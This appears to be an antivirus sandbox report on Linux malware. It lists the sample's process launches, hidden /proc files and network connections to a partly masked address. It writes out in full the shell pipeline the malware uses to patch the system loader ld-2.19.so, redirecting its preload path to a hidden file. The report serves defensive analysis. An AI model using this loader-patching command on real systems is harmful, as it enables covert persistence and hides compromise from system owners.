Technical Information
Malicious functions:
Launches itself as a daemon
Launches processes:
- sh -c strings /lib/x86_64-linux-gnu/ld-2.19.so | grep /etc/ld.so.preload
- grep /etc/ld.so.preload
- strings /lib/x86_64-linux-gnu/ld-2.19.so
- sh -c hexdump -ve '1/1 \"%.2X\"' /lib/x86_64-linux-gnu/ld-2.19.so | sed \"s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g\" | xxd -r -p > /lib/x86_64-linux-gnu/ld-2.19.so.tm
- hexdump -ve 1/1 \"%.2X\" /lib/x86_64-linux-gnu/ld-2.19.so
- sed s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g
- xxd -r -p
- chmod --reference /lib/x86_64-linux-gnu/ld-2.19.so /lib/x86_64-linux-gnu/ld-2.19.so.tmp
- mv /lib/x86_64-linux-gnu/ld-2.19.so.tmp /lib/x86_64-linux-gnu/ld-2.19.so
Performs operations with the file system:
Modifies file access rights:
- /lib/x86_64-linux-gnu/ld-2.19.so.tmp
Creates or modifies files:
- /lib/x86_64-linux-gnu/ld-2.19.so.tmp
- /sbin/.ifup-local
- /tmp/<SAMPLE>.0
- /proc/hjggkfp
- /proc/fullprivs
- /proc/hide-723
Deletes files:
- /proc/hjggkfp
- /proc/fullprivs
- /proc/hide-723
Network activity:
Establishes connection:
- 10#.###.123.13:61061
Sends data to the following servers:
- 10#.###.123.13:61061
Receives data from the following servers:
- 10#.###.123.13:61061
Other:
Collects OS information